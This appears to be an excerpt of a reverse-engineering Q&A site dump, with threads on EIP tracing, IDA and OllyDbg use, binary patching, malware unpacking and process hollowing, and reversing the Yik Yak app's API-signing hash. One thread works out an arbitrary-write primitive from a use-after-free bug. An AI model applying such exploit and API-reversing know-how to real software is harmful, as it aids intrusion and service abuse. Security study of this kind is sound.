  <row Id="8678" PostTypeId="1" AcceptedAnswerId="8683" CreationDate="2015-04-11T00:26:52.727" Score="0" ViewCount="310" Body="&lt;p&gt;Platform: Windows 7 64bit, target 32bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had an idea of using data mining techniques (maybe even some primitive machine learning) on EIP data, so as to be able to correlate with something later. Just the EIP because everything else needed could later be pulled from the target process anyway as leisure (aside from stack or dynamic memory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to use PCA or perhaps even a SOM for clustering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the actual question: Is there a way to attach to a process in such a way as to be able to continuously dump EIP to file while at the same time having the least possible effect on target's performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="12221" LastActivityDate="2015-04-12T11:51:36.130" Title="How do you efficiently record EIP of a target continuously?" Tags="|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8680" PostTypeId="1" AcceptedAnswerId="8682" CreationDate="2015-04-11T02:34:39.343" Score="2" ViewCount="717" Body="&lt;p&gt;I've been reverse engineering the Yikyak application, and I came across this function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One particular function is used in order to verify the integrity of the API call. The decompiler failed to figure out what was going on with the bytecode (provided below), so I wrote in what I thought was the byte code equivalent (this is my first time working with Java bytecode, my apologies for any errors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things I was stuck on is figuring out how to determine the value referred to in the constant pool. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Error */&#xA;/* public static String a(String paramString, byte[] paramArrayOfByte)&#xA;* Generates a hash to verify the integrity of the API call based on the time (param1 as String) and YikYak.uniqueMD5Hash.getBytes()&#xA;*/&#xA;public static String hashApiCall(String paramString, byte[] paramArrayOfByte)&#xA;{&#xA;    // Possible values for hash algo: HmacMD5, HmacSHA1, HmacSHA256, HmacSHA384, HmacSHA512&#xA;    SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte, (String hash algo)ldc 179);&#xA;    Mac localMac = Mac.getInstance((String hash aglo)ldc 179);&#xA;    localMac.init(localSecretKeySpec);&#xA;    localMac.doFinal(byte[] ?);&#xA;    String str2 = Base64.encodeToString(?);&#xA;    String str3 = str2.trim();&#xA;    return str3;&#xA;&#xA;    // Byte code:&#xA;    //   0: new 177 javax/crypto/spec/SecretKeySpec&#xA;    //   3: dup&#xA;    //   4: aload_1&#xA;    //   5: ldc 179&#xA;    //   7: invokespecial 182   javax/crypto/spec/SecretKeySpec:&amp;lt;init&amp;gt;  ([BLjava/lang/String;)V&#xA;    //   10: astore_2&#xA;    //   11: ldc 179&#xA;    //   13: invokestatic 188   javax/crypto/Mac:getInstance    (Ljava/lang/String;)Ljavax/crypto/Mac;&#xA;    //   16: astore 8&#xA;    //   18: aload 8&#xA;    //   20: aload_2&#xA;    //   21: invokevirtual 192  javax/crypto/Mac:init   (Ljava/security/Key;)V&#xA;    //   24: aload 8&#xA;    //   26: aload_0&#xA;    //   27: invokevirtual 136  java/lang/String:getBytes   ()[B&#xA;    //   30: invokevirtual 196  javax/crypto/Mac:doFinal    ([B)[B&#xA;    //   33: iconst_0&#xA;    //   34: invokestatic 202   android/util/Base64:encodeToString  ([BI)Ljava/lang/String;&#xA;    //   37: astore 9&#xA;    //   39: aload 9&#xA;    //   41: invokevirtual 205  java/lang/String:trim   ()Ljava/lang/String;&#xA;    //   44: astore 12&#xA;    //   46: aload 12&#xA;    //   48: astore 4&#xA;    //   50: aload 4&#xA;    //   52: areturn&#xA;    //   53: astore 6&#xA;    //   55: aconst_null&#xA;    //   56: astore 4&#xA;    //   58: aload 6&#xA;    //   60: astore 7&#xA;    //   62: aload 7&#xA;    //   64: invokevirtual 208  java/security/NoSuchAlgorithmException:printStackTrace  ()V&#xA;    //   67: goto -17 -&amp;gt; 50&#xA;    //   70: astore_3&#xA;    //   71: aconst_null&#xA;    //   72: astore 4&#xA;    //   74: aload_3&#xA;    //   75: astore 5&#xA;    //   77: aload 5&#xA;    //   79: invokevirtual 209  java/security/InvalidKeyException:printStackTrace   ()V&#xA;    //   82: goto -32 -&amp;gt; 50&#xA;    //   85: astore 11&#xA;    //   87: aload 9&#xA;    //   89: astore 4&#xA;    //   91: aload 11&#xA;    //   93: astore 5&#xA;    //   95: goto -18 -&amp;gt; 77&#xA;    //   98: astore 10&#xA;    //   100: aload 9&#xA;    //   102: astore 4&#xA;    //   104: aload 10&#xA;    //   106: astore 7&#xA;    //   108: goto -46 -&amp;gt; 62&#xA;    // Local variable table:&#xA;    //   start  length  slot    name    signature&#xA;    //   0  111 0   paramString String&#xA;    //   0  111 1   paramArrayOfByte    byte[]&#xA;    //   10 11  2   localSecretKeySpec  javax.crypto.spec.SecretKeySpec&#xA;    //   70 5   3   localInvalidKeyException1   java.security.InvalidKeyException&#xA;    //   48 55  4   str1    String&#xA;    //   75 19  5   localObject1    Object&#xA;    //   53 6   6   localNoSuchAlgorithmException1  java.security.NoSuchAlgorithmException&#xA;    //   60 47  7   localObject2    Object&#xA;    //   16 9   8   localMac    javax.crypto.Mac&#xA;    //   37 64  9   str2    String&#xA;    //   98 7   10  localNoSuchAlgorithmException2  java.security.NoSuchAlgorithmException&#xA;    //   85 7   11  localInvalidKeyException2   java.security.InvalidKeyException&#xA;    //   44 3   12  str3    String&#xA;    // Exception table:&#xA;    //   from   to  target  type&#xA;    //   11 39  53  java/security/NoSuchAlgorithmException&#xA;    //   11 39  70  java/security/InvalidKeyException&#xA;    //   39 46  85  java/security/InvalidKeyException&#xA;    //   39 46  98  java/security/NoSuchAlgorithmException&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to determine what values are in the constant pool (specifically, 179) in order to determine the hashing algorithm that's being used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="12223" LastActivityDate="2015-04-11T03:17:07.413" Title="Correct reassembly of Java bytecode" Tags="|java|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostTypeId="2" ParentId="8680" CreationDate="2015-04-11T03:09:32.347" Score="1" Body="&lt;p&gt;First off, have you tried using a better decompiler? I'd recommend &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow&quot;&gt;Krakatau&lt;/a&gt;, since it's specifically designed for handling obfuscated applications (disclosure: I wrote it). Apart from Krakatau, the best decompiler I know of is &lt;a href=&quot;https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler&quot; rel=&quot;nofollow&quot;&gt;Procyon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you can see the constant pool by passing the right option to the disassembler. If you're using the Krakatau disassembler, you'd just pass -cpool. You can also use javap in which case you'd pass -v. However, javap is not designed for reverse engineering and has numerous issues, so you're better off with Krakatau for serious disassembly.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2015-04-11T03:17:07.413" LastActivityDate="2015-04-11T03:17:07.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8683" PostTypeId="2" ParentId="8678" CreationDate="2015-04-11T09:23:47.610" Score="3" Body="&lt;p&gt;I would go for Dynamic Binary Instrumentation (DBI). Logging rIP is a standard application for DBI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows there are at least 3 well known DBI frameworks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow&quot;&gt;Intel PIN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow&quot;&gt;DynamoRIO&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dyninst.org/dyninst&quot; rel=&quot;nofollow&quot;&gt;DynInst&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Logging rIP for each instruction can affect target performance (I haven't precise numbers but that's probably something around a 20% to 50% slowdown). Maybe you could trace basic blocks, rather than each instruction, to reduce performance penalty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel PIN has at least a buffered recording so you can trace each instruction, log it's program counter in a buffer and dump the buffer when it's full so your logger is not I/O bound (everything is handled by PIN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, another way would be to use a debugger (some have tracing capabilities, like ollyDBG) or program your own and raise the TF (Trap Flag) for each instruction - so you can log each executed instruction - but this will probably have a big impact on the target's performance and could be problematic for a multi-threaded application (DBI frameworks handle multi-threading well).&lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2015-04-11T09:23:47.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostTypeId="1" CreationDate="2015-04-11T15:49:44.927" Score="0" ViewCount="2239" Body="&lt;p&gt;I have two versions of the same binary, and I know that both are using a float (&lt;code&gt;127.0&lt;/code&gt;) which is stored in a variable like &lt;code&gt;ds:dbl_7F5A28&lt;/code&gt; (offset from binary #1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's only one xref to that &lt;code&gt;dbl_&lt;/code&gt; in both binaries, but I don't know how to find &lt;code&gt;127.0&lt;/code&gt; in binary #2, so I can xref it and find the function that's using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to search for float / double values in IDA?&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-04-12T05:30:22.857" Title="Can I search floats / doubles in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8688" PostTypeId="1" CreationDate="2015-04-11T21:42:48.753" Score="0" ViewCount="2707" Body="&lt;p&gt;I'm usibng IDA 6.5.140116 and cannot seem to get a breakpoint to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workflow is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the Imports subview&lt;/li&gt;&#xA;&lt;li&gt;Double click on the Name column for the row representing GetProcAddress. This jumps to the IDA View-EIP window.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mnYtv.png&quot; alt=&quot;IDA View-EIP window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;With the GetProcAddress line selected, I press F2 to set a breakpoint&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHJLU.png&quot; alt=&quot;Breakpoint settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the application, these breakpoints NEVER get hit.  The application isn't using ASLR.  I'm wary about the breakpoint being in .idata when perhaps I need it on the first instruction of GetProcAddress in kernel32.  I'm not sure how to set that exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to have a breakpoint thrown whenever a certain API call (in this case GetProcAddress... but also RegQueryValueExA for example)  but the press F2 on the address obtained via the Imports window doesn't seem to be working.  What am I missing?  How can I improve my workflow for this?&lt;/p&gt;&#xA;" OwnerUserId="12230" LastActivityDate="2015-04-11T21:42:48.753" Title="How to set a breakpoint on GetProcAddress in IDA Pro?" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8689" PostTypeId="1" CreationDate="2015-04-12T03:43:26.193" Score="0" ViewCount="2738" Body="&lt;p&gt;I keep seeing the same pattern in the code I'm analyzing. A call instruction is using a label &quot;off_&quot; which is just a pointer to the real address of the call (in this case: GetWindowTextW).  It would be much more convenient for me to see call GetWindowTextW (or user32_GetWindowTextW).  This much be an option I can set somewhere or a way to reanalyze the application... but I can't seem to find it.  How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2kTQ9.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T6ErW.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Gstp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12230" LastActivityDate="2015-04-12T03:43:26.193" Title="How can I have IDA replace an offset with the label of the function the offset points to?" Tags="|ida|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8690" PostTypeId="2" ParentId="8685" CreationDate="2015-04-12T05:30:22.857" Score="1" Body="&lt;p&gt;There are some ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Text search. Just press Alt-T in the disassembly window and enter 127.0. This will probably not work if in your current idb version this value is not recognized as floating point number.&lt;/li&gt;&#xA;&lt;li&gt;Binary search. Go to the binary where your known value resides, go to the address of this value and undefine it/see its byte contents any other way. You will see the binary representation on the same place. Search it as a binary on the second binary and you'll probably find desirable. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-04-12T05:30:22.857" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8692" PostTypeId="2" ParentId="8678" CreationDate="2015-04-12T11:51:36.130" Score="0" Body="&lt;p&gt;To add to the above from @Neitsa, there is a great post by Axel &quot;0vercl0k&quot; Souchet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://doar-e.github.io/blog/2013/08/31/some-thoughts-about-code-coverage-measurement-with-pin/&quot; rel=&quot;nofollow&quot;&gt;Some Thoughts About Code-coverage Measurement With Pin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about using PIN for basic blocks logging with all the way explained from idea to the development POC based on PIN framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can definitely use the provided code there and adjust it to log all the instructions for your needs. Probably even the basic blocks logging could serve your needs in the begging.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2015-04-12T11:51:36.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8693" PostTypeId="1" CreationDate="2015-04-12T15:02:49.727" Score="2" ViewCount="251" Body="&lt;p&gt;When I am trying to reverse ZeroAccess rootkit, ollydbg shows instructions as seperated like;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should be e874010000 as a single instruction which is a call to some routine but it shows them like the picture above,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIdQw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;before the EIP jumps shown place there are instructions which are below,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvvRv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think int 2Dh (anti debug) is probably related to this situation. Can somebody enlighten me ? Or show some source to read and learn what is exactly going on here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK I have managed to solve this problem by clicking right, then Analysis then Remove object scan for module. I think Olly is misinterpreted the code for some reason, even if I did not understand why this solved my problem. Anyway If there is somebody to explain why Olly did this, is welcomed.&lt;/p&gt;&#xA;" OwnerUserId="12234" LastEditorUserId="12234" LastEditDate="2015-04-13T09:39:25.220" LastActivityDate="2015-04-13T09:39:25.220" Title="Ollydbg Instructions Are Splitted" Tags="|ollydbg|x86|anti-debugging|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8694" PostTypeId="2" ParentId="8654" CreationDate="2015-04-12T18:21:16.547" Score="6" Body="&lt;p&gt;There is not a single paper or book that explains the art of unpacking. This is mainly due to all the different packers that require different techniques to unpack them. There are of course generic approaches that work on some packers but knowing when to use them is gained from experience. IMHO the best approach to learn unpacking is to follow along with unpackmes in a debugger. My favorite unpacking author is &lt;a href=&quot;http://www.reversing.be/search.php?query=&amp;amp;keyType=phrase&amp;amp;datestart=&amp;amp;dateend=&amp;amp;topic=0&amp;amp;type=all&amp;amp;author=63&amp;amp;mode=search&quot;&gt;Haggar&lt;/a&gt;. Once you go through a handful of the tutorials you will observe patterns of instructions and API sequences. Once you see those patterns you should try to unpack the sample using what you previously learned. If you fail, you can continue on with the tutorial and if you succeed, you can move on to the next tutorial. Either way you learn something new or apply previously gained knowledge. In the long run it will help you with unpacking malware. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2015-04-12T18:21:16.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8695" PostTypeId="1" CreationDate="2015-04-13T08:12:27.507" Score="4" ViewCount="513" Body="&lt;p&gt;I'm newbie on virtualized code obfuscation. I can break many features to avoid debugging/reversing and packer/protector (even Themida, without vm option), but I'm not good at virtualized code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I made own code virtualizing obfuscation tool, It's too hard to break other virtualized code framework.(e.g: Themida, VMProtect, Code Virtualizer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I decided to break easy target to get an insight that makes me be good at virtual cpu framework. but I can't find any good target for newbie. Could you recommend easy target(crackme or protector) for newbie?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I want target of which virtualized-code was translated from x86 assembly code. &lt;/p&gt;&#xA;" OwnerUserId="12238" LastEditorUserId="12238" LastEditDate="2015-04-13T08:33:42.783" LastActivityDate="2015-04-13T22:05:32.490" Title="Which virtualized target is recommended for newbie on vm-obfuscation?" Tags="|obfuscation|crackme|virtualizers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8696" PostTypeId="2" ParentId="8654" CreationDate="2015-04-13T13:37:42.520" Score="4" Body="&lt;p&gt;Unpacking is an art, and as such there aren't clear steps to unpack any target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was in your situation a few years ago. I understood assembly, and code injections and hooking and whatnot, but I could not grasp unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is to approach unpacking analytically. You have a state A, which is a (possibly!) packed executable, and you have a desired state B which contains code you can analyze in IDA for example. You want to find where that state switch happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds rather generic, and that's because it is. Especially in malware unpacking, it's not always 100% clear when code is unpacked. Sometimes there is no unpacked binary, but injected shellcode. Sometimes you get 3 stages of unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then, this is not helpful. That's why you start with very simple approaches to learn the patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's where the ESP trick you mentioned comes into play. This is a trick that commonly allows you to skip code. Oftentimes, unpacking stubs are surrounded with pushad/popad to not taint the environment before the actual code runs. That's one pattern to learn - something starts with saving the execution state (more or less) - so we're interested in what happens afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea: PE executables have a header. So if some unpacker unpacks the target code, does it restore the original header? The answer surprisingly is mostly yes! That's great, because now we can just watch for the header being changed and are close to the final form of the code. This can be done be setting a Hardware Breakpoint on Write on some field in the header - for example the AddressOfEntryPoint, because that's what we want to know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are so-called RunPE packers (also now referred to as 'process hollowing') - they broke up with the concept of unpacking as in a small stub that rebuilds the original executable in-placce but instead create a new (possibly unrelated) process, then rewrite that new process to the state of the original binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do we handle that? We watch for APIs that are used. We watch for CreateProcess(CREATE_SUSPENDED), we watch WriteProcessMemory, we watch ResumeThread. Of course, there are dozens of variations (ZwWriteVirtualMemory, ZwResumeProcess, ZwCreateProcess and so on) but the key steps are the same: Create some new process, modify it, resume execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are examples that simply don't fit a scheme themselves - what to do with them? Follow their code flow! Look until you see something you can use. Sometimes you'll end up with some dumped shellcode from WriteProcessMemory, but that's the 'final' stage B, there is nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a long answer but my point is: Unpacking is simple - packed code is transformed into unpacked code. There is no magic between these steps, so follow the code and think outside the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes all you need is a breakpoint on VirtualFree() to catch the unpacked code being freed. Sometimes you just need a breakpoint on VirtualAlloc() and watch what is written there. By thinking about what CAN happen between state A and B you'll find points to 'ambush' the unpacked code so to speak.&lt;/p&gt;&#xA;" OwnerUserId="11771" LastActivityDate="2015-04-13T13:37:42.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8698" PostTypeId="2" ParentId="8695" CreationDate="2015-04-13T22:05:32.490" Score="4" Body="&lt;p&gt;You should take a look at &lt;a href=&quot;http://crackmes.de/archive/&quot; rel=&quot;nofollow&quot;&gt;crackmes.de&lt;/a&gt;, especially &lt;em&gt;level 6&lt;/em&gt;, like &lt;a href=&quot;http://crackmes.de/users/zerocoder/crackme_v10.0/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;, or &lt;a href=&quot;http://crackmes.de/users/solar_designer/solar/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-04-13T22:05:32.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8699" PostTypeId="1" AcceptedAnswerId="8702" CreationDate="2015-04-14T01:06:15.833" Score="1" ViewCount="3683" Body="&lt;p&gt;For experimentation, while waiting for vendor to fix bug, wanted to try and eliminate a crash that occurs on occasion. Up till now I've only done patching replacing existing code, not trying to insert additional code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000018000A260                 cmp     [rax], r12d &amp;lt;- RAX=0, crashes program&#xA;.text:000000018000A263                 jz      short loc_18000A271&#xA;.text:000000018000A265                 cmp     dword ptr [rax], 6&#xA;.text:000000018000A268                 jnz     short loc_18000A276&#xA;.text:000000018000A26A                 cmp     ecx, 40h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And further on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000018000A21B                 mov     rcx, [rsp+388h+var_350]&#xA;.text:000000018000A220                 call    cs:WindowsDeleteString&#xA;.text:000000018000A226                 mov     [rsp+388h+var_350], r15&#xA;.text:000000018000A22B                 mov     rbx, [rsp+388h+var_348]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to insert some new instruction, changing to jmp to patched code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000018000A260                 jmp     &amp;lt;patched code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Patched Code Idea - I can't find much suitable place to insert code - so was thinking of shortening some non-essential strings in .rdata section to insert this code - Is there any issue with this? Essentially what I am trying to do is if RAX = 0 , skip over the use of [rax]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp rax,0&#xA;jz .text:000000018000A21B ; The code point past using [rax]&#xA;cmp [rax], r12d&#xA;jmp .text:000000018000A263 ; Continue program execution normally&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it seems IDA &quot;Assemble&quot; doesn't always work, for example cmp rax,0 it says &quot;Invalid Operand&quot; So I had to patch bytes instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;48 83 F8 00 = cmp rax,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the &quot;assemble&quot; in IDA to reference my jump locations, using the location references in IDA. Or is there a suggested method to calculate how to build my jmp/jz instructions.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="99" LastEditDate="2015-04-15T07:05:49.857" LastActivityDate="2015-04-15T07:05:49.857" Title="Patching jmp instructions on amd64 with IDA" Tags="|ida|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8700" PostTypeId="1" AcceptedAnswerId="8706" CreationDate="2015-04-14T09:56:51.837" Score="1" ViewCount="894" Body="&lt;p&gt;As you know, OllyDbg provides labelling. When I see referenced address which assembly code has, I would get information(Label name) if referenced address is labeled.&#xA;But If labeled address would be referenced indirectly(e.g. mov eax, dword ptr[eax]) or labelled address is stack, OllyDbg cannot show label to reverser. (also, Status bar which is below CPU cannot show label too)&#xA;Is there other way to view label in OllyDbg? It's too hard to analyze obfuscated code because of this poooor behavior&lt;/p&gt;&#xA;" OwnerUserId="12250" LastEditorUserId="12250" LastEditDate="2015-04-14T10:33:24.040" LastActivityDate="2015-04-15T21:02:43.563" Title="OllyDbg Labelling" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8701" PostTypeId="1" AcceptedAnswerId="8703" CreationDate="2015-04-14T17:57:28.980" Score="3" ViewCount="782" Body="&lt;p&gt;I'm analyzing a use-after-free bug in IDA Pro by hand. Basically, I control the content of an object (pointed by a register) and I want to force a write at an arbitrary address. For instance, I might find a &lt;code&gt;mov [ebx], eax&lt;/code&gt;, where I can control both &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;ebx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automate this task at least in part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple example. Let's say we control the data pointed by &lt;code&gt;ecx&lt;/code&gt; and we have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  mov eax, [ecx]&#xA;  test dword ptr [ecx+8], 8&#xA;  jz skip&#xA;  mov ebx, [ecx+4]&#xA;  mov [eax], ebx    &amp;lt;---- arbitrary write&#xA;skip:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, by choosing the values at [ecx], [ecx+4] and [ecx+8] carefully, we can perform an arbitrary write. In reality, the code is much more complex, so it's hard to keep track of what we control and find a suitable instruction.&lt;/p&gt;&#xA;" OwnerUserId="12258" LastEditorUserId="12258" LastEditDate="2015-04-14T22:52:04.207" LastActivityDate="2015-04-15T07:18:42.110" Title="Analyzing a use-after-free bug (taint analysis?)" Tags="|ida|vulnerability-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8702" PostTypeId="2" ParentId="8699" CreationDate="2015-04-15T07:05:18.210" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Patched Code Idea - I can't find much suitable place to insert code -&#xA;  so was thinking of shortening some non-essential strings in .rdata&#xA;  section to insert this code - Is there any issue with this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should not use the .rdata section as it's usually not not marked for execution of code. If you ignore this you will trigger DEP and changing the segment to allow code executions is obviously not recommended as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to add a segment, extend the current segment or find some empty space in the current segment (maybe there's align bytes at the end). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to get the &quot;assemble&quot; in IDA to reference my jump&#xA;  locations, using the location references in IDA. Or is there a&#xA;  suggested method to calculate how to build my jmp/jz instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can just take the difference between the two virtual addresses and use a relative jump (0xE9). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now it seems IDA &quot;Assemble&quot; doesn't always work, for example cmp rax,0&#xA;  it says &quot;Invalid Operand&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This feature is not supported for AMD64 according to Hex Rays:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The assembler command is supported for only a few processors, only a&#xA;  few instructions. We do not plan to extend this feature, sorry&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-04-15T07:05:18.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8703" PostTypeId="2" ParentId="8701" CreationDate="2015-04-15T07:18:42.110" Score="5" Body="&lt;p&gt;I would agree with you in that you need to implement some kind of taint tracing, what is tricky statically. Moreover, you need to know whether there are any constraints applied to your controlled values. Also, we land in the symbolic execution domain (warning, there be dragons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, maybe &lt;a href=&quot;https://github.com/cea-sec/miasm#user-content-symbolic-execution&quot;&gt;this project&lt;/a&gt; can be helpful to you. It even has &lt;a href=&quot;https://github.com/cea-sec/miasm/tree/master/example/ida&quot;&gt;IDA Pro integration&lt;/a&gt; in the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-04-15T07:18:42.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
